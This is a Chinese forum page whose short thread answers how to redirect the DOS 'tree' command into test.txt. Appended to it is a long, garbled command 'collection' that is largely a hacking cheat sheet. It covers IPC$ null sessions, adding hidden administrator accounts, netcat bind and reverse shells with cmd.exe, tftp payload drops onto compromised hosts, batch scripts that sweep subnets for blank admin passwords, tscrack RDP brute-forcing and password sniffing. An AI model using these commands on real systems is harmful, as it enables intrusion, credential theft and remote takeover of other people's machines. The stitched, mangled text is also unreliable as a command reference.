社区
Windows Server
帖子详情
在DOS下使用管道将tree命令的输出写到test.txt文件中,命令怎么写?
Rayking
2001-12-25 01:10:21
...全文
725
4
打赏
收藏
在DOS下使用管道将tree命令的输出写到test.txt文件中,命令怎么写?
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
4 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
szay
2001-12-25
打赏
举报
回复
三个管道命令:MORE、SORT和FIND
cdldxy
2001-12-25
打赏
举报
回复
请注意>(输出转向) >>(输出追加转向)都是输出转向符,它们并不是管道命令。管道命令是|
Tuotuogw
2001-12-25
打赏
举报
回复
tree >c:\test.txt 创建一个新文件
tree >>c:\test.txt (append,添加)
kDolphin
2001-12-25
打赏
举报
回复
tree > test.txt
cmd操作
命令
和linux
命令
大全收集
CMD
命令
:开始->运行->键入cmd或command(在
命令
行里可以看到系统版本、
文件
系统版本)
命令
大全 1. gpedit.msc-----组策略 2. sndrec32-------录音机 3. Nslookup-------IP地址侦测器 ,是一个 监测网络
中
DNS 服务器是否能正确实现域名解析的
命令
行工具。它在 Windows NT/2000/XP
中
均可
使用
,但在 Windows 98
中
却没有集成这一个工具。 4. explorer-------打开资源管理器 5. logoff---------注销
命令
6. shutdown-------60秒倒计时关机
命令
7. lusrmgr.msc----本机用户和组 8. services.msc---本地服务设置 9. oobe/msoobe /a----检查XP是否激活 10. notepad--------打开记事本 11. cleanmgr-------垃圾整理 12. net start messenger----开始信使服务 13. compmgmt.msc---计算机管理 14. net stop messenger-----停止信使服务 15. conf-----------启动netmeeting 16. dvdplay--------DVD播放器 17. charmap--------启动字符映射表 18. diskmgmt.msc---磁盘管理实用程序 19. calc-----------启动计算器 20. dfrg.msc-------磁盘碎片整理程序 21. chkdsk.exe-----Chkdsk磁盘检查 22. devmgmt.msc--- 设备管理器 23. regsvr32 /u *.dll----停止dll
文件
运行 24. drwtsn32------ 系统医生 25. rononce -p----15秒关机 26. dxdiag---------检查DirectX信息 27. regedt32-------注册表编辑器 28. Msconfig.exe---系统配置实用程序 29. rsop.msc-------组策略结果集 30. mem.exe--------显示内存
使用
情况 31. regedit.exe----注册表 32. winchat--------XP自带局域网聊天 33. progman--------程序管理器 34. winmsd---------系统信息 35. perfmon.msc----计算机性能监测程序 36. winver---------检查Windows版本 37. sfc /scannow-----扫描错误并复原 38. taskmgr-----任务管理器(2000/xp/2003) 39. regsvr32 /u *.dll----停止dll
文件
运行 40. wmimgmt.msc----打开windows管理体系结构(WMI) 41. wupdmgr--------windows更新程序 42. wscript--------windows脚本宿主设置 43. write----------
写
字板 45. wiaacmgr-------扫描仪和照相机向导 46. winchat--------XP自带局域网聊天 49. mplayer2-------简易widnows media player 50. mspaint--------画图板 51. mstsc----------远程桌面连接 53. magnify--------放大镜实用程序 54. mmc------------打开控制台 55. mobsync--------同步
命令
57. iexpress-------木马捆绑工具,系统自带 58. fsmgmt.msc-----共享
文件
夹管理器 59. utilman--------辅助工具管理器 61. dcomcnfg-------打开系统组件服务 62. ddeshare-------打开DDE共享设置 63. osk------------打开屏幕键盘 64. odbcad32-------ODBC数据源管理器 65. oobe/msoobe /a----检查XP是否激活 66. cmd.exe--------CMD
命令
提示符 67. regsvr32 /u zipfldr.dll------取消ZIP支持 68. ntbackup-------系统备份和还原 69. narrator-------屏幕“讲述人” 70. ntmsmgr.msc----移动存储管理器 71. ntmsoprq.msc---移动存储管理员操作请求 72. netstat -an----(TC)
命令
检查接口 73. syncapp--------创建一个公文包 74. sysedit--------系统配置编辑器 75. sigverif-------
文件
签名验证程序 76. ciadv.msc------索引服务程序 77. shrpubw--------创建共享
文件
夹 78. secpol.msc-----本地安全策略 79. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码 80. services.msc---本地服务设置 81. Sndvol32-------音量控制程序 82. sfc.exe--------系统
文件
检查器 83. sfc /scannow---windows
文件
保护 84. ciadv.msc------索引服务程序 85. tourstart------xp简介(安装完成后出现的漫游xp程序) 86. taskmgr--------任务管理器 87. eventvwr-------事件查看器 88. eudcedit-------造字程序 89. compmgmt.msc---计算机管理 90. packager-------对象包装程序 91. perfmon.msc----计算机性能监测程序 92. charmap--------启动字符映射表 93. cliconfg-------SQL SERVER 客户端网络实用程序 94. Clipbrd--------剪贴板查看器 95. conf-----------启动netmeeting 96. certmgr.msc----证书管理实用程序 操作详解 net use ipipc$ " " /user:" " 建立IPC空链接 net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接 net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: net use h: ipc$ 登陆后映射对方C:到本地为H: net use ipipc$ /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名 密码 /add 建立用户 net user guest /active:yes 激活guest用户 net user 查看有哪些用户 net user 帐户名 查看帐户的属性 net localgroup administrators 用户名 /add 把“用户”添加到管理员
中
使其具有管理员权限 net start 查看开启了哪些服务 net start 服务名 开启服务;(如:net start telnet, net start schedule) net stop 服务名 停止某服务 net time 目标ip 查看对方时间 net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 net view 查看本地局域网内开启了哪些共享 net view ip 查看对方局域网内开启了哪些共享 net config 显示系统网络设置 net logoff 断开连接的共享 net pause 服务名 暂停某服务 net send ip "文本信息" 向对方发信息 net ver 局域网内正在
使用
的网络连接类型和信息 net share 查看本地开启的共享 net share ipc$ 开启ipc$共享 net share ipc$ /del 删除ipc$共享 net share c$ /del 删除C:共享 net user guest 12345 用guest用户登陆后用将密码改为12345 net password 密码 更改系统登陆密码 netstat -a 查看开启了哪些端口,常用netstat -an netstat -n 查看端口的网络连接情况,常用netstat -an netstat -v 查看正在进行的工作 netstat -p 协议名 例:netstat -p tcq/ip 查看某协议
使用
情况 netstat -s 查看正在
使用
的所有协议
使用
情况 nbtstat -A ip 对方136到139其
中
一个端口开了的话,就可查看对方最近登陆的用户名 tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。 ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。 ping -t -l 65550 ip 死亡之ping(发送大于64K的
文件
并一直ping就成了死亡之ping) ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息 tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools
文件
夹内) kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools
文件
夹内) del -F
文件
名 加-F参数后就可删除只读
文件
,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档
文件
,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的
文件
。例如“DEL/AR *.*”表示删除当前目录下所有只读
文件
,“DEL/A-S *.*”表示删除当前目录下除系统
文件
以外的所有
文件
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和
文件
。同时
使用
参数/Q 可取消删除操作时的系统确认就直接删除。(二个
命令
作用相同) move 盘符路径要移动的
文件
名 存放移动
文件
的路径移动后
文件
名 移动
文件
,用参数/y将取消确认移动目录存在相同
文件
的提示就直接覆盖 fc one.
txt
two.
txt
> 3st.
txt
对比二个
文件
并把不同之处
输出
到3st.
txt
文件
中
,"> "和"> >" 是重定向
命令
at id号 开启已注册的某个计划任务 at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止 at id号 /delete 停止某个已注册的计划任务 at 查看所有的计划任务 at ip time 程序名(或一个
命令
) /r 在某时间运行对方某程序并重新启动计算机 finger username @host 查看最近有哪些用户登陆 telnet ip 端口 远和登陆服务器,默认端口为23 open ip 连接到IP(属telnet登陆后的
命令
) telnet 在本机上直接键入telnet 将进入本机的telnet copy 路径
文件
名1 路径
文件
名2 /y 复制
文件
1到指定的目录为
文件
2,用参数/y就同时取消确认你要改
写
一份现存目录
文件
copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下 copy 1st.jpg/b+2st.
txt
/a 3st.jpg 将2st.
txt
的内容藏身到1st.jpg
中
生成3st.jpg新的
文件
,注:2st.
txt
文件
头要空三排,参数:/b指二进制
文件
,/a指ASCLL格式
文件
copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe
文件
(所有
文件
)至本地C: xcopy 要复制的
文件
或目录树 目标地址目录名 复制
文件
和目录树,用参数/Y将不提示覆盖相同
文件
用参数/e才可连目录下的子目录一起复制到目标地址下。 tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exec:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe
文件
时用,如不加-i 则以ASCII模式(传送文本
文件
模式)进行传送 tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机 ftp ip 端口 用于上传
文件
至服务器或进行
文件
操作,默认端口为21。bin指用二进制方式传送(可执行
文件
进);默认为ASCII格式传送(文本
文件
时) route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 start 程序名或
命令
/max 或/min 新开一个新窗口并最大化(最小化)运行某程序或
命令
mem 查看cpu
使用
情况 attrib
文件
名(目录名) 查看某
文件
(目录)的属性 attrib
文件
名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某
文件
的 存档,只读,系统,隐藏 属性;用+则是添加为某属性 dir 查看
文件
,参数:/Q显示
文件
及目录属系统哪个用户,/T:C显示
文件
创建时间,/T:A显示
文件
上次被访问时间,/T:W上次被修改时间 date /t 、 time /t
使用
此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间 set 指定环境变量名称=要指派给变量的字符 设置环境变量 set 显示当前所有的环境变量 set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 pause 暂停批处理程序,并显示出:请按任意键继续.... if 在批处理程序
中
执行条件处理(更多说明见if
命令
及变量) goto 标签 将cmd.exe导向到批处理程序
中
带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签) call 路径批处理
文件
名 从批处理程序
中
调用另一个批处理程序 (更多说明见call /?) for 对一组
文件
中
的每一个
文件
执行某个特定
命令
(更多说明见for
命令
及变量) echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置 echo 信息 在屏幕上显示出信息 echo 信息 >> pass.
txt
将"信息"保存到pass.
txt
文件
中
findstr "Hello" aa.
txt
在aa.
txt
文件
中
寻找字符串hello find
文件
名 查找某
文件
title 标题名字 更改CMD窗口标题名字 color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 prompt 名称 更改cmd.exe的显示的
命令
提示符(把C:、D:统一改为:EntSky ) ver 在
DOS
窗口下显示版本信息 winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名) format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS,例:Format D: /FS:NTFS md 目录名 创建目录 replace 源
文件
要替换
文件
的目录 替换
文件
ren 原
文件
名 新
文件
名 重命名
文件
名
tree
以树形结构显示出目录,用参数-f 将列出第个
文件
夹
中
文件
名称 type
文件
名 显示文本
文件
的内容 more
文件
名 逐屏显示
输出
文件
dos
key 要锁定的
命令
=字符
dos
key 要解锁
命令
= 为
DOS
提供的锁定
命令
(编辑
命令
行,重新调用win2k
命令
,并创建宏)。如:锁定dir
命令
:
dos
key dir=entsky (不能用
dos
key dir=dir);解锁:
dos
key dir= taskmgr 调出任务管理器 chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误 tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口 exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe path 路径可执行
文件
的
文件
名 为可执行
文件
设置一个路径。 cmd 启动一个win2K
命令
解释窗口。参数:/eff、/en 关闭、开启
命令
扩展;更我详细说明见cmd /? regedit /s 注册表
文件
名 导入注册表;参数/S指安静模式导入,无任何提示; regedit /e 注册表
文件
名 导出注册表 cacls
文件
名 参数 显示或修改
文件
访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W
写
入, C 更改(
写
入),F 完全控制;例:cacls D: est.
txt
/D pub 设定d: est.
txt
拒绝pub用户访问。 cacls
文件
名 查看
文件
的访问用户权限列表 REM 文本内容 在批处理
文件
中
添加注解 netsh 查看或更改本地网络配置情况 IIS服务
命令
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现) iisreset /start或stop 启动(停止)所有Internet服务 iisreset /restart 停止然后重新启动所有Internet服务 iisreset /status 显示所有Internet服务状态 iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动 iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机 iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务 iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。 FTP
命令
:(后面有详细说明内容) ftp的
命令
行格式为: ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。 -d
使用
调试方式。 -n 限制ftp的自动登录,即不
使用
.netrc
文件
。 -g 取消全局
文件
名。 help [
命令
] 或 ?[
命令
] 查看
命令
说明 bye 或 quit 终止主机FTP进程,并退出FTP管理方式. pwd 列出当前远端主机目录 put 或 send 本地
文件
名 [上传到主机上的
文件
名] 将本地一个
文件
传送至远端主机
中
get 或 recv [远程主机
文件
名] [下载到本地后的
文件
名] 从远端主机
中
传送至本地主机
中
mget [remote-files] 从远端主机接收一批
文件
至本地主机 mput local-files 将本地主机
中
一批
文件
传送至远端主机 dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录
中
的
文件
.如果有本地
文件
,就将结果
写
至本地
文件
ascii 设定以ASCII方式传送
文件
(缺省值) bin 或 image 设定以二进制方式传送
文件
bell 每完成一次
文件
传送,报警提示 cdup 返回上一级目录 close
中
断与远程服务器的ftp会话(与open对应) open host[port] 建立指定ftp服务器连接,可指定连接端口 delete 删除远端主机
中
的
文件
mdelete [remote-files] 删除一批
文件
mkdir directory-name 在远端主机
中
建立目录 rename [from] [to] 改变远端主机
中
的
文件
名 rmdir directory-name 删除远端主机
中
的目录 status 显示当前FTP的状态 system 显示远端主机系统类型 user user-name [password] [account] 重新以别的用户名登录远端主机 open host [port] 重新建立一个新的连接 prompt 交互提示模式 macdef 定义宏
命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 chmod 改变远端主机的
文件
权限 case 当为ON时,用MGET
命令
拷贝的
文件
名到本地机器
中
,全部转换为小
写
字母 cd remote-dir 进入远程主机目录 cdup 进入远程主机目录的父目录 ! 在本地机
中
执行交互shell,exit回到ftp环境,如!ls*.zip #5 MYSQL
命令
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。 (例:mysql -h110.110.110.110 -Uroot -P123456 注:u与root可以不用加空格,其它也一样) exit 退出MYSQL mysqladmin -u用户名 -p旧密码 password 新密码 修改密码 grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境
中
的
命令
,所以后面都带一个分号作为
命令
结束符) show databases; 显示数据库列表。刚开始时才两个数据库:mysql和
test
。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。 use mysql; show tables; 显示库
中
的数据表 describe 表名; 显示数据表的结构 create database 库名; 建库 use 库名; create table 表名 (字段设定列表); 建表 drop database 库名; drop table 表名; 删库和删表 delete from 表名; 将表
中
记录清空 select * from 表名; 显示表
中
的记录 mysqldump --opt school>school.bbb 备份数据库:(
命令
在
DOS
的mysqlin目录下执行);注释:将数据库school备份到school.bbb
文件
,school.bbb是一个文本
文件
,
文件
名任取,打开看看你会有新发现。 win2003系统下新增
命令
(实用部份): shutdown /参数 关闭或重启本地或远程主机。 参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。 例:shutdown /r /t 0 立即重启本地主机(无延时) taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。 参数说明:/PID 要终止进程的pid,可用tasklist
命令
获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。 tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。 参数说明:/M 列出当前进程加载的dll
文件
,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。 Linux系统下基本
命令
注:要区分大小
写
uname 显示版本信息(同win2K的 ver) dir 显示当前目录
文件
,ls -al 显示包括隐藏
文件
(同win2K的 dir) pwd 查询当前所在的目录位置 cd cd ..回到上一层目录,注意cd 与..之间有空格。 cd /返回到根目录。 cat
文件
名 查看
文件
内容 cat >abc.
txt
往abc.
txt
文件
中
写
上内容。 more
文件
名 以一页一页的方式显示一个文本
文件
。 cp 复制
文件
mv 移动
文件
rm
文件
名 删除
文件
,rm -a 目录名删除目录及子目录 mkdir 目录名 建立目录 rmdir 删除子目录,目录内没有文档。 chmod 设定档案或目录的存取权限 grep 在档案
中
查找字符串 diff 档案
文件
比较 find 档案搜寻 date 现在的日期、时间 who 查询目前和你
使用
同一台机器的人以及Login时间地点 w 查询目前上机者的详细资料 whoami 查看自己的帐号名称 groups 查看某人的Group passwd 更改密码 history 查看自己下过的
命令
ps 显示进程状态 kill 停止某进程 gcc 黑客通常用它来编译C语言
写
的
文件
su 权限转换为指定
使用
者 telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。 ftp ftp连接上某服务器(同win2K) 批处理
命令
与变量 1:for
命令
及变量 基本格式 FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小
写
的(%i 不等于 %I)。 批处理每次能处理的变量从%0—%9共10个,其
中
%0默认给批处理
文件
名
使用
,%1默认为
使用
此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use ipipc$ pass /user:user
中
ip为%1,pass为%2,user为%3 (set):指定一个或一组
文件
,可
使用
通配符,如:(D:user.
txt
)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 } command:指定对第个
文件
执行的
命令
,如:net use
命令
;如要执行多个
命令
时,
命令
这间加:& 来隔开 command_parameters:为特定
命令
指定参数或
命令
行开关 IN (set):指在(set)
中
取值;DO command :指执行command 参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从
文件
中
不断取值,直到取完为止{ (set)为
文件
时,如(d:pass.
txt
)时 }。 用法举例: @echo off echo 用法格式:
test
.bat *.*.* >
test
.
txt
for /L %%G in (1 1 254) do echo %1.%%G >>
test
.
txt
& net use \%1.%%G /user:administrator | find "
命令
成功完成" >>
test
.
txt
存为
test
.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在
test
.
txt
中
。 /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个
命令
;| 指建立了ipc$后,在结果
中
用find查看是否有"
命令
成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。 @echo off echo 用法格式:ok.bat ip FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200 存为:ok.exe 说明:输入一个IP后,用字典
文件
d:pass.dic来暴解d:user.dic
中
的用户密码,直到
文件
中
值取完为止。%%i为用户名;%1为输入的IP地址(默认)。 七: 2:if
命令
及变量 基本格式 IF [not] errorlevel 数字
命令
语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。 例:IF errorlevel 0
命令
指程序执行后返回的值为0时,就值行后面的
命令
;IF not errorlevel 1
命令
指程序执行最后返回的值不等于1,就执行后面的
命令
。 0 指发现并成功执行(真);1 指没有发现、没执行(假)。 IF [not] 字符串1==字符串2
命令
语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的
命令
。 例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的
命令
(注意:调用变量时就%变量名%并加" ") IF [not] exist
文件
名
命令
语句 如果指定的
文件
名存在,就执行后面的
命令
。 例:“if not nc.exe goto end”指:如果没有发现nc.exe
文件
就跳到":end"标签处。 IF [not] errorlevel 数字
命令
语句 else
命令
语句或 IF [not] 字符串1==字符串2
命令
语句 else
命令
语句或 IF [not] exist
文件
名
命令
语句 else
命令
语句 加上:else
命令
语句后指:当前面的条件不成立时,就指行else后面的
命令
。注意:else 必须与 if 在同一行才有效。当有del
命令
时需把del
命令
全部内容用括起来,因为del
命令
要单独一行时才能执行,用上后就等于是单独一行了;例如:“if exist
test
.
txt
. else echo
test
.
txt
.missing ”,注意
命令
中
的“.” 系统外部
命令
注:系统外部
命令
(均需下载相关工具) 瑞士军刀:nc.exe 参数说明: -h 查看帮助信息 -d 后台模式 -e prog程序重定向,一但连接就执行[危险] -i secs延时的间隔 -l 监听模式,用于入站连接 -L 监听模式,连接天闭后仍然继续监听,直到CTR+C -n IP地址,不能用域名 -o film记录16进制的传输 -p[空格]端口 本地端口号 -r 随机本地及远程端口 -t
使用
Telnet交互方式 -u UDP模式 -v 详细
输出
,用-vv将更详细 -w数字 timeout延时间隔 -z 将输入,
输出
关掉(用于扫锚时) 基本用法: nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 nc -l -p 80 开启本机的TCP 80端口并监听 nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 高级用法: nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止 nc -L -p 80 > c:log.
txt
作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果
输出
到c:log.
txt
nc -L -p 80 < c:honeyport.
txt
作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.
txt
中
内容送入
管道
中
,亦可起到传送
文件
作用 type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.
txt
中
内容送入
管道
中
,亦可起到传送
文件
作用 本机上用: nc -l -p 本机端口 在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 本机上用:nc -d -l -p 本机端口 存放
文件
的路径及名称 传送
文件
到对方主机 备 注: |
管道
命令
重定向
命令
。“<;”,例如:tlntadmn > d:log.
txt
意思是:后台执行dir,并把结果存在d:log.
txt
中
>与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。 如:@dir c:winnt >> d:log.
txt
和@dir c:winnt > d:log.
txt
二个
命令
分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。 八: 扫描工具:xscan.exe 基本格式 xscan -host [-] [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 xscan -file [其他选项] 扫锚"主机IP列表
文件
名"
中
的所有主机信息 检测项目 -active 检测主机是否存活 -os 检测远程操作系统类型(通过NETBIOS和SNMP协议) -port 检测常用服务的端口状态 -ftp 检测FTP弱口令 -pub 检测FTP服务匿名用户
写
权限 -pop3 检测POP3-Server弱口令 -smtp 检测SMTP-Server漏洞 -sql 检测SQL-Server弱口令 -smb 检测NT-Server弱口令 -iis 检测IIS编码/解码漏洞 -cgi 检测CGI漏洞 -nasl 加载Nessus攻击脚本 -all 检测以上所有项目 其它选项 -i 适配器编号 设置网络适配器,可通过"-l"参数获取 -l 显示所有网络适配器 -v 显示详细扫描进度 -p 跳过没有响应的主机 -o 跳过没有检测到开放端口的主机 -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量,默认数量为100,10 -log
文件
名 指定扫描报告
文件
名 (后缀为:
TXT
或HTML格式的
文件
) 用法示例 xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机 xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机 xscan -file hostlist.
txt
-port -cgi -t 200,5 -v -o 检测“hostlist.
txt
”
文件
中
列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机 九:
命令
行方式嗅探器: xsniff.exe 可捕获局域网内FTP/SMTP/POP3/HTTP协议密码 参数说明 -tcp
输出
TCP数据报 -udp
输出
UDP数据报 -icmp
输出
ICMP数据报 -pass 过滤密码信息 -hide 后台运行 -host 解析主机名 -addr IP地址 过滤IP地址 -port 端口 过滤端口 -log
文件
名 将
输出
保存到
文件
-asc 以ASCII形式
输出
-hex 以16进制形式
输出
用法示例 xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log
文件
中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式
输出
终端服务密码破解: tscrack.exe 参数说明 -h 显示
使用
帮助 -v 显示版本信息 -s 在屏幕上打出解密能力 -b 密码错误时发出的声音 -t 同是发出多个连接(多线程) -N Prevent System Log entries on targeted server -U 卸载移除tscrack组件 -f
使用
-f后面的密码 -F 间隔时间(频率) -l
使用
-l后面的用户名 -w
使用
-w后面的密码字典 -p
使用
-p后面的密码 -D 登录主页面 用法示例 tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典
文件
暴破主机的administrator的登陆密码 tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户 @if not exist ipcscan.
txt
goto noscan @for /f "tokens=1 delims= " %%i in (3389.
txt
) do call hack.bat %%i Nscan @echo 3389.
txt
no find or scan faild (①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表
文件
3389.
txt
) 3389.bat意思是:从3389.
txt
文件
中
取一个IP,接着运行hack.bat @if not exist tscrack.exe goto noscan @tscrack %1 -l administrator -w pass.dic >>rouji.
txt
:noscan @echo tscrack.exe no find or scan faild (②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.
txt
、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了) hack.bat意思是:运行tscrack.exe用字典暴破3389.
txt
中
所有主机的administrator密码,并将破解结果保存在rouji.
txt
文件
中
。 其它 Shutdown.exe Shutdown IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003
DOS
命令
中
有详细介绍。) fpipe.exe (TCP端口重定向工具) 在第二篇
中
有详细说明(端口重定向绕过防火墙) fpipe -l 80 -s 1029 -r 80 当有人扫锚你的80端口时,他扫到的结果会完全是的主机信息 Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。 OpenTelnet.exe (远程开启telnet工具) opentelnet.exe IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet ip 连接上对方。 NTLM认证方式:0:不
使用
NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再
使用
用户名和密码;2:只
使用
NTLM身份验证。 ResumeTelnet.exe (OpenTelnet附带的另一个工具) resumetelnet.exe IP 帐号 密码 用Telnet连接完对方后,就用这个
命令
将对方的Telnet设置还原,并同时关闭Telnet服务。 FTP
命令
详解 FTP
命令
是Internet用户
使用
最频繁的
命令
之一,熟悉并灵活应用FTP的内部
命令
,可以大大方便
使用
者,并收到事半功倍之效。如果你想学习
使用
进行后台FTP下载,那么就必须学习FTP指令。 FTP的
命令
行格式为: ftp -v -d -i -n -g [主机名] ,其
中
-v 显示远程服务器的所有响应信息 -n 限制ftp的自动登录,即不
使用
;.n etrc
文件
; -d
使用
调试方式; -g 取消全局
文件
名。 FTP
使用
的内部
命令
如下(
中
括号表示可选项): 1.![cmd[args]]:在本地机
中
执行交互shell,exit回到ftp环境,如:!ls*.zip 2.$ macro-ame[args]:执行宏定义macro-name。 3.account[password]:提供登录远程系统成功后访问系统资源所需的补充口令。 4.append local-file[remote-file]:将本地
文件
追加到远程系统主机,若未指定远程系统
文件
名,则
使用
本地
文件
名。 5.ascii:
使用
ascii类型传输方式。 6.bell:每个
命令
执行完毕后计算机响铃一次。 7.bin:
使用
二进制
文件
